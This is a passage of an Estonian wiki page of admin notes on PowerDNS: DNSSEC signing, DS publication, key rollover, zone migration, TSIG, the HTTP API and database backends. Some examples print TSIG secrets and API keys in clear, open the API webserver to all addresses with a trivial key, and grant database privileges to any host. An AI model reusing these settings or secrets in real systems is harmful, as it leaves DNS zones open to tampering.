 DS = moraal.ee. IN DS 53461 8 2 b85dee98efa6e3bb... 57ce193f728f6b2b1d0dd262 ; ( SHA256 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 3 1359b0b2b97e60b2... 844b207e84bf5c109eb2e151 ; ( GOST R 34.11-94 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 4 6d735926cd5cf68b... 9ca2af1f72b3b8f67900bb32a94c ; ( SHA-384 digest )&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kaks võtit, ID väärtustega 10 ja 11&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje (reeglina see õnnestub, aga nt 2017 aasta kevadel .org domeenide puhul on tulemuseks dnssec viga, tavaline servfail)&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
====Tulemuse kontrollimine====&lt;br /&gt;
&lt;br /&gt;
Kui kõik juba töötab (ja on vist on vajalik, et kasutada on mõni dnssec-võimeline rekursiivne nimeserver), saab tulemust kontrollida nt nii&lt;br /&gt;
&lt;br /&gt;
 $ ldns-rrsig moraal.ee a&lt;br /&gt;
 moraal.ee RRSIG(a):  Thu Oct 27 00:00:00 2016 - Thu Nov 17 00:00:00 2016&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* DNSSEC RRSIG signatuure arvutatakse iga 2 nädala tagant üle selleks, et piirata replay attack võimalusi. Põhimõtteliselt saab pahalane päringule vastuseks saata mõne varasemalt võrgus olnud vastuse (st RRSet + RRSIG komplekti) eeldusel, et ta kontrollib kasutaja võrguliiklust. Tänu RRSIG piiratud kehtivusajale (nt 2 nädalat) saab ta seda teha mitte vanemate kui 2 nädalat andmetega, lisaks ta on piiratud saatma mitte suvalisi vastuseid, vaid viimase kahe nädala jooksul kasutuses olnud vastuseid.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
&lt;br /&gt;
====CSK võtme kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus 2016 lõpus: tundub, et see CSK on mingi tulevikutehnoloogia.&lt;br /&gt;
&lt;br /&gt;
Olemasoleva tsooni jaoks DNSSEC sisselülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil secure-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 1 ab'&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* tagasi nsec peale viimiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil unset-nsec3 moraal.ee&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni seostamine DS sissekande abil ülevalpool oleva tsooniga===&lt;br /&gt;
&lt;br /&gt;
DNSSEC tsooni seostamiseks ülevalpool oleva tsooniga on vaja teada selliseid andmeid&lt;br /&gt;
&lt;br /&gt;
* võtme silt&lt;br /&gt;
* võtme tüüp&lt;br /&gt;
* algoritm&lt;br /&gt;
* avalik võti (või DS mis on avaliku võtme räsi vms)&lt;br /&gt;
&lt;br /&gt;
Need kõik on avalik info ja kättesaadavad domeeni pädevast nimeserverist, aga PowerDNS haldusutiliidiga saab selle küsida otsekoheselt&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Ühesõnaga, kui ise kasutatakse PowerDNS'i või partner saadab need andmed, siis allpool toodud dig käsuga tegelemist pole tarvis läbi teha. Tulemust sobib kontrollida nt aadressil http://dnsviz.net/.&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .ee tsoonis====&lt;br /&gt;
&lt;br /&gt;
Logida sisse oma kasutajaga ja valida vasakult paneelist 'Teenuste ülevaade', kõnelaluse tsooni juures pressida rohelist + märki DNSSEC tulbas. Avanenud uuel eraanil vajutada üleval sinist nuppu Aktiveeri (muutub roheliseks), vajutada võtmete nimekirjas + märki ja täita lahtrid&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-3.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* võtme silt - (antud juhul 53461), selle saab teada päringu väjundist&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey rrsig | grep DNSKEY&lt;br /&gt;
 moraal.ee.              10800   IN      RRSIG   DNSKEY 8 2 10800 20161208000000 20161117000000 53461 moraal.ee. rVy+HAzSKkTRv6...&lt;br /&gt;
&lt;br /&gt;
* võtme tüüp - KSK&lt;br /&gt;
* algoritm - 8 (RSA-SHA256)&lt;br /&gt;
* avalik võti,  selle saab teada päringu väljundist, alates Aw kuni tU= (võib sisaldada tühikuid nagu päringu vastuses on)&lt;br /&gt;
&lt;br /&gt;
 $ dig @ns.auul.pri.ee moraal.ee dnskey | grep 257&lt;br /&gt;
 moraal.ee. 3600 IN DNSKEY 257 3 8 AwEAAcnmmnnOlkRfK9NDYEI6F ... SD6 TQcnQstT+tU=&lt;br /&gt;
&lt;br /&gt;
Vajutada all nuppu Kinnita, muudatus kehtestub peaaegu koheselt (ehk minutite jooksul), aga kasutajaliideses öeldakse&lt;br /&gt;
&lt;br /&gt;
 DNSSEC kaitse domeenil MORAAL.EE&lt;br /&gt;
 Hetkestaatus: DNSSEC on aktiveerimata&lt;br /&gt;
 Eesootavad muutused: DNSSEC aktiveeritakse&lt;br /&gt;
&lt;br /&gt;
Teha brauseris refresh ja peab olema domeenide nimekirjas DNSSEC tulbas + asemel kilbi kujutis. Edasi läheb nn 15 minutit kuni muudatus zone.ee juurest eestiinternet.ee juurde jõuab ning kehtestub ee. tld (top level domain) nimeserverites. Kontrolliks maksab küsida tld nimeserverilt ds kirjet&lt;br /&gt;
&lt;br /&gt;
 $ dig +short @ns.tld.ee moraal.ee ds&lt;br /&gt;
 30607 8 2 EAC8A17DD2128573F08EE76C18B4AB01734467CD4A376768F5358B0C A2B9463F&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .org tsoonis====&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-6.gif]]&lt;br /&gt;
&lt;br /&gt;
====GoDaddy keskkonnas====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===DNSSEC võtmete asendamine===&lt;br /&gt;
&lt;br /&gt;
====ZSK====&lt;br /&gt;
&lt;br /&gt;
====KSK====&lt;br /&gt;
&lt;br /&gt;
KSK moodi võtme lisamiseks sobib öelda, selliselt võib tsooniga siduda ka enam kui kaks võtit&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtmed paistavad käsu väljundis&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab dnsviz keskkonnas selline pilt&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Tsooniga seotud võtme eemaldamiseks sobib öelda, kus ID on show-zone väljundist välja valitud võtme ID väärtus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil remove-zone-key moraal.ee ID&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/howtos/#zsk-rollover&lt;br /&gt;
&lt;br /&gt;
===Mitmesugused haldusprotseduurid===&lt;br /&gt;
&lt;br /&gt;
====tsooni backend muutmine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Tsooni migreerimiseks suvalisest AXFR-võimelisest nimeserverist sobib&lt;br /&gt;
&lt;br /&gt;
* kirjeldada PowerDNS peal slave&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-slave-zone moraal.ee 10.0.6.15&lt;br /&gt;
 Feb 21 22:09:52 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Creating slave zone 'moraal.ee', with master(s) '10.0.6.15:53'&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmed axfr abil üle, kopeerimist kiirendab&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
&lt;br /&gt;
* muuta PowerDNS tsooni jaoks masteriks, öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; UPDATE domains set type='MASTER' where type='SLAVE';&lt;br /&gt;
&lt;br /&gt;
Kui allikaks on nt BIND ning tsoonifailis on kasutatud generate konstruktsiooni, siis need lahenduvad automaatselt ära&lt;br /&gt;
&lt;br /&gt;
 $GENERATE 1-255 $ IN CNAME $.1-255.40.184.10.in-addr.arpa.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/authoritative/migration/&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla====&lt;br /&gt;
&lt;br /&gt;
Analoogiliselt eelmisele punktile, aga&lt;br /&gt;
&lt;br /&gt;
* esmalt lülitada dnssec välja, kustutades DS kirje parent tsoonist ja oodates vähemalt DS kirje TTL aja enne järgmise punkti juurde asumist; seejärel on tsooni sisu endine st vanade võtmetega signeeritud andmestik&lt;br /&gt;
* tegevused eelmises punktis + uute võtmetega krüptimine&lt;br /&gt;
* asuda kasutama uute võtmetega krüptitud tsooni sisu, ja oodata nt 6 tundi&lt;br /&gt;
* juurutada parent tsoonis uus DS kirje&lt;br /&gt;
&lt;br /&gt;
====dnssec tsooni toomine PowerDNS kontrolli alla OpenDNSSEC keskkonnast koos vana KSK krüptomaterjaliga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et OpenDNSSEC kasutab SoftHSM backendi saab KSK krüptomaterjalid eksportida ja taaskasutada. Ettevalmistuseks tuleb kõnealune tsoon muus osas tavalisel viisil kasutusele võtta. SoftHSM pealt krüptomaterjali eksportimiseks tuleb esmalt teha kindlaks kolm väärust&lt;br /&gt;
&lt;br /&gt;
* SoftHSM label ja pin vaadata nt /etc/opendnssec/conf.xml failist&lt;br /&gt;
* kõnealuse tsooni ksk võtme id, vaadata KSK active realt tulp 'CKA_ID'&lt;br /&gt;
&lt;br /&gt;
 # ods-ksmutil key list -v&lt;br /&gt;
&lt;br /&gt;
sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # softhsm --export moraal.ee-ksk.pem --slot 0 --label &amp;quot;vaartus&amp;quot; --pin vaartus --id vaartus&lt;br /&gt;
 The key pair has been written to moraal.ee-ksk.pem&lt;br /&gt;
&lt;br /&gt;
teisendada nn BIND kujule&lt;br /&gt;
&lt;br /&gt;
 # softhsm-keyconv --tobind --in ksk.pem --name moraal.ee --ksk --algorithm RSASHA256&lt;br /&gt;
 The private key has been written to Kmoraal.ee+008+09122.private&lt;br /&gt;
 The public key has been written to Kmoraal.ee+008+09122.key&lt;br /&gt;
&lt;br /&gt;
ning võtta kasutusele PowerDNS juures&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil import-zone-key moraal.ee Kksk+008+53675.private active ksk&lt;br /&gt;
&lt;br /&gt;
Edasi seadistatakse DNSSEC analoogliselt nagu seada ikka PowerDNS puhul seadistatakse. Kusjuures 'pdnsutil import-zone-key ...' tulemus on sarnane nagu oleks öeldud&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.molnar-peter.hu/en/&lt;br /&gt;
&lt;br /&gt;
====pdns-control utiliidi kasutamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS kus on master tsoon saadab notify oma slavedele (nagu on tsoonifaili NS kirjetes kirjas)&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify &amp;lt;domain&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või näidatud ip aadressile&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify-host &amp;lt;domain&amp;gt; &amp;lt;ip-address&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===TSIG kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimeserverite vahelise tsooniedastuse juures TSIG juurutamiseks tuleb esmalt tekitada võti&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil generate-tsig-key from_dns_to_itm hmac-sha256&lt;br /&gt;
 Generating new key with 64 bytes (this can take a while)&lt;br /&gt;
 Nov 26 13:10:37 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 Create new TSIG key from_dns_to_itm hmac-sha256 WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
ning seejärel võti ühe või enama tsooniedastusega seostada&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil activate-tsig-key moraal.ee from_dns_to_itm master&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil show-zone moraal.ee&lt;br /&gt;
Nov 26 14:09:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
This is a Master zone&lt;br /&gt;
Last SOA serial number we notified: 2016112602 == 2016112602 (serial in the database)&lt;br /&gt;
Zone is not actively secured&lt;br /&gt;
Zone has following allowed TSIG key(s): from_dns_to_itm&lt;br /&gt;
Metadata items: &lt;br /&gt;
        SOA-EDIT-API    DEFAULT&lt;br /&gt;
        TSIG-ALLOW-AXFR from_dns_to_itm&lt;br /&gt;
No keys for zone 'moraal.ee'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kontrolliks sobib kopeerida öeldes&lt;br /&gt;
&lt;br /&gt;
 $ dig @192.168.1.248 moraal.ee axfr -y &amp;quot;hmac-sha256:from_dns_to_itm:WLuS4o6CX35+yGerdHpl2h3+PDKt76rgam9rqkRg8N+fTP6cGtC6H17rDidKl7FzEu0fukg3apxnZUxdDRDhkQ==&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kusjuures vastuses on üks preudokirje lisaks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 from_dns_to_itm.        0       ANY     TSIG    hmac-sha256. 1480164029 300 32 t96WhnpNiAiL5KHXa8UzNthM6/p3ciQptF3Br2ZfhFk= 3538 NOERROR 0&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Sama TSIG võtit saab kasutada mitme tsooni jaoks ja nii on mugavam nt NSD patternit kasutada&lt;br /&gt;
* tundub, et tsooni jaoks TSIG juurutamisega kaasneb, et tsooni kopeerimise ip piirang enam ei kehti (lubatud ip pealt pöördudes ei ole võtme esitamine vajalik)&lt;br /&gt;
* kui tsooni juures on tsig sisse lülitatud, siis see mõjub nii notify kui xfr jaoks&lt;br /&gt;
* TSIG pseudokirjete arv suureneb vastavalt tsooni mahu suurenemisele, https://tools.ietf.org/html/rfc2845 'The TSIG MUST be included on the first and last DNS envelopes.  It can be optionally placed on any intermediary envelopes. It is expensive to include it on every envelopes, but it MUST be placed on at least every 100'th envelope.'&lt;br /&gt;
&lt;br /&gt;
Alternatiiv on kasutada -y asemel -k suvandit ja argumendiks failinime, faili sisuga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
key &amp;quot;from_yks_to_teine&amp;quot; {&lt;br /&gt;
algorithm HMAC-SHA256;&lt;br /&gt;
secret &amp;quot;YY8xvlL6yGjrt1G4xlfLBaidQOFdvixHgRXN6tXUPMitEKZUs7kl7qixJ0nSN1bbDJQxaFGkoKkBamNS7EPXbw==&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===API kasutamine===&lt;br /&gt;
&lt;br /&gt;
Üle API muudatuse tegemiseks peab eelnevalt PowerDNS serveris lülitama API sisse ning sisemise webserver käivitama&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.conf&lt;br /&gt;
 ..&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=apiparool&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ja kasutama nt sellist skripti (töökohaarvutis on seejuures abil kasutada nt jq utiliiti)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat pdns-api.sh&lt;br /&gt;
curl -X PATCH --data \&lt;br /&gt;
'{&amp;quot;rrsets&amp;quot;: &lt;br /&gt;
  [{ &amp;quot;name&amp;quot;: &amp;quot;www.moraal.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [{ &amp;quot;content&amp;quot;: &amp;quot;192.168.254.5&amp;quot;, &amp;quot;disabled&amp;quot;: false }],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 86000,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;A&amp;quot;,&lt;br /&gt;
      &amp;quot;changetype&amp;quot;: &amp;quot;REPLACE&amp;quot;&lt;br /&gt;
  }]&lt;br /&gt;
}' -H 'X-API-Key: midagisalajast123' http://192.168.1.248:8081/api/v1/servers/localhost/zones/moraal.ee. | jq .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
kas käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 $ sh pdns-api.sh&lt;br /&gt;
&lt;br /&gt;
API'ga tutvumiseks võib olla hea mõte kuulata pealt mingi olemasoleva API-rakenduse ja serveri vahelist liiklust ja siis seda Wireshark abil uurida.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://doc.powerdns.com/md/httpapi/README/ - tundub, et süntaks pole seal kõigis näidetes päris korrektne&lt;br /&gt;
&lt;br /&gt;
===PowerDNS kasutusstatistika===&lt;br /&gt;
&lt;br /&gt;
PowerDNS sisaldab sisemist veebiserverit, mille käest saab küsida teenuse kasutusstatistikat, TODO.&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et vaikimisi logitakse syslog'i.&lt;br /&gt;
&lt;br /&gt;
===Varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine operatsioonisüsteemi paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öelda, tuleb paigalda üldosa + mingi backend, nt BIND-ühilduvate tsoonifailide käsitlemise komponent (st failisüsteem)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-bind&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib failisüsteemi&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/pdns.conf - peamine seadistusfail&lt;br /&gt;
&lt;br /&gt;
====MySQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====pdns-backend-mysql paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et MySQL baas juba töötab samas arvutis, sobib paigaldamiseks sobib öelda (seejuures kasutades db-config sistemat, mis paigaldamise käigus tekitab create database baasi, kasutaja, sätib privileegid jne)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-backend-mysql&lt;br /&gt;
 ..&lt;br /&gt;
 Determining localhost credentials from /etc/mysql/debian.cnf: succeeded.&lt;br /&gt;
 dbconfig-common: writing config to /etc/dbconfig-common/pdns-backend-mysql.conf&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/dbconfig-common/pdns-backend-mysql.conf with new version&lt;br /&gt;
 &lt;br /&gt;
 Creating config file /etc/powerdns/pdns.d/pdns.local.gmysql.conf with new version&lt;br /&gt;
 checking privileges on database pdns for pdns@localhost: user creation needed.&lt;br /&gt;
 granting access to database pdns for pdns@localhost: success.&lt;br /&gt;
 verifying access for pdns@localhost: success.&lt;br /&gt;
 creating database pdns: success.&lt;br /&gt;
 verifying database pdns exists: success.&lt;br /&gt;
 populating database via sql...  done.&lt;br /&gt;
 dbconfig-common: flushing administrative password&lt;br /&gt;
 Processing triggers for libc-bin (2.24-3) ...&lt;br /&gt;
 Processing triggers for pdns-server (4.0.1-5) ...&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
* tekitatakse MySQL kasutaja pdns&lt;br /&gt;
* tekitatakse MySQL create database pdns&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tundub, et otsekoheselt failisüsteemis tsoonifaili redigeerimise teel on mõeldav töötada ainult BIND-formaadis backendiga. Muudega tuleks kasutada pdnsutil utiliiti või API liidest. Tsoonide nimekiri kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/named.conf&lt;br /&gt;
 # Debian default: supermaster created zones are written here:&lt;br /&gt;
 include &amp;quot;/var/lib/powerdns/supermaster.conf&amp;quot;;&lt;br /&gt;
 # Example for a manually configured slave zone:&lt;br /&gt;
 #&lt;br /&gt;
 zone &amp;quot;example.net&amp;quot; {&lt;br /&gt;
    file &amp;quot;/var/lib/powerdns/zones.slave.d/example.net.zone&amp;quot;;&lt;br /&gt;
    type master;&lt;br /&gt;
    masters { 192.0.2.53; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Tsoon kirjeldatakse failis&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/powerdns/zones.slave.d/example.net.zone&lt;br /&gt;
 $TTL 180&lt;br /&gt;
 @           IN    SOA     ns1.example.net.      hostmaster.example.net. (&lt;br /&gt;
                        2014080705      ; Serial Number (date YYYYMMDD++)&lt;br /&gt;
                        86400           ; Refresh (24 hours)&lt;br /&gt;
                        1800            ; Retry (1/2 hour)&lt;br /&gt;
                        3600000         ; Expire (42 days)&lt;br /&gt;
                        21600)          ; Minimum (6 hours)&lt;br /&gt;
                        IN      NS      ns1.example.net.&lt;br /&gt;
                        IN      NS      ns2.example.net.&lt;br /&gt;
 &lt;br /&gt;
 @           IN    A       192.168.0.15&lt;br /&gt;
             IN    MX   10 mail.example.net.&lt;br /&gt;
 www         IN    A       192.168.0.15&lt;br /&gt;
 mail        IN    A       192.168.0.2&lt;br /&gt;
 ns1         IN    A       10.1.1.171&lt;br /&gt;
 ns2         IN    A       10.1.1.172&lt;br /&gt;
 imre        IN    A       10.1.1.173&lt;br /&gt;
&lt;br /&gt;
Muudatuse kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control bind-reload-now example.net&lt;br /&gt;
 example.net:    parsed into memory at 2016-10-26 20:43:14 +0300&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
Teoreetliselt võib sodida tsooni sisu muutmiseks üldotstarbelise sql editoriga (nt PgAdmin) ka otse baasis, aga praktilisem on kasutada ehk pdnsutil või api't kasutava tarkvara abil, nt nsedit veebiliides.&lt;br /&gt;
&lt;br /&gt;
====BIND backend kasutamine====&lt;br /&gt;
&lt;br /&gt;
pdns-backend-bind seadistatakse failist&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.d/bind.conf &lt;br /&gt;
 launch+=bind&lt;br /&gt;
 bind-config=/etc/powerdns/named.conf&lt;br /&gt;
 bind-supermaster-config=/var/lib/powerdns/supermaster.conf&lt;br /&gt;
 bind-supermaster-destdir=/var/lib/powerdns/zones.slave.d&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* /etc/powerdns/named.conf - tsoonide nimekiri&lt;br /&gt;
* /var/lib/powerdns/supermaster.conf - lihtsal juhul tühi&lt;br /&gt;
* /var/lib/powerdns/zones.slave.d - BIND formaadis tsoonifailide kataloog&lt;br /&gt;
&lt;br /&gt;
Tsoonide haldamisega tegeleb edasi allpool olev punkt.&lt;br /&gt;
&lt;br /&gt;
====Poweradmin====&lt;br /&gt;
&lt;br /&gt;
Märkus: tõenäoliselt ei ole Poweradmin tarvkara kasutamine hea mõte kuna rakendus sodib otse PowerDNS andmebaasis ja 2016 aasta sügisel on hakanud tekkima paremaid alternatiive, nt nsedit.&lt;br /&gt;
&lt;br /&gt;
Poweradmin kasutamiseks peab PowerDNS kasutama SQL andmebaasi ja Poweradmin peab töötama vastu sama andmebaasi. Tundub, et Poweradmin töötab paremini MySQL + PHP5 keskkonnas. Kui Poweradmin PHP rakendus töötab teises arvutis kui MySQL baas, sobib baasis öelda&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'%' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; grant all privileges on pdns.* to 'pdns'@'localhost' identified by 'dbconfig sisestatud parool';&lt;br /&gt;
 mysql&amp;gt; flush privileges;&lt;br /&gt;
&lt;br /&gt;
 # pdns_control retrieve moraal.ee&lt;br /&gt;
 Added retrieval request for 'moraal.ee.' from master 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-powerdns-with-a-mariadb-backend-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
====Tsooni andmestikust otsing====&lt;br /&gt;
&lt;br /&gt;
* Kõigi forward tsoonide sisust ip aadressi kasutamise leidmine&lt;br /&gt;
&lt;br /&gt;
 # for i in `pdns_control list-zones | grep -v All | grep -v in-addr`; do pdnsutil list-zone $i 2&amp;gt;&amp;amp;1 ; done | grep 10.20.123.154&lt;br /&gt;
 ftp.moraal.ee	300	IN	A	10.20.123.154&lt;br /&gt;
&lt;br /&gt;
===2024 aasta kevade tähelepanekud===&lt;br /&gt;
&lt;br /&gt;
Eesmärk&lt;br /&gt;
&lt;br /&gt;
* ühe operatsioonisüteemi peal kompaktselt lahenduse pidamine - Debian v. 12&lt;br /&gt;
* dns server - PowerDNS&lt;br /&gt;
* webgui haldusliides - PowerDNS-Admin (PDA)&lt;br /&gt;
* dnssec võimekus&lt;br /&gt;
* docker abil kasutatakse konteinerit (PDA)&lt;br /&gt;
* andmeid hoitakse PostgreSQL andmebaasis&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* dnssec kasutab algoritmi nr 13&lt;br /&gt;
* NSEC3 kasutab '1 0 0 -' seadistust&lt;br /&gt;
* sekundaarsete nimeserveritega suhtlemine toimub catalog-zones abil&lt;br /&gt;
* kasutatakse KSK/ZSK ja CSK lähenemist võtmete pidamisel&lt;br /&gt;
&lt;br /&gt;
Protseduuride võimekus&lt;br /&gt;
&lt;br /&gt;
* NSEC, NSEC3 ja NSEC3 param väärtuste muutmine&lt;br /&gt;
* võtme vahetus&lt;br /&gt;
* krüptimise algoritmi vahetus&lt;br /&gt;
&lt;br /&gt;
====Platvormi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
Platvorm koosneb&lt;br /&gt;
&lt;br /&gt;
* Debian v. 12 operatsioonisüsteem&lt;br /&gt;
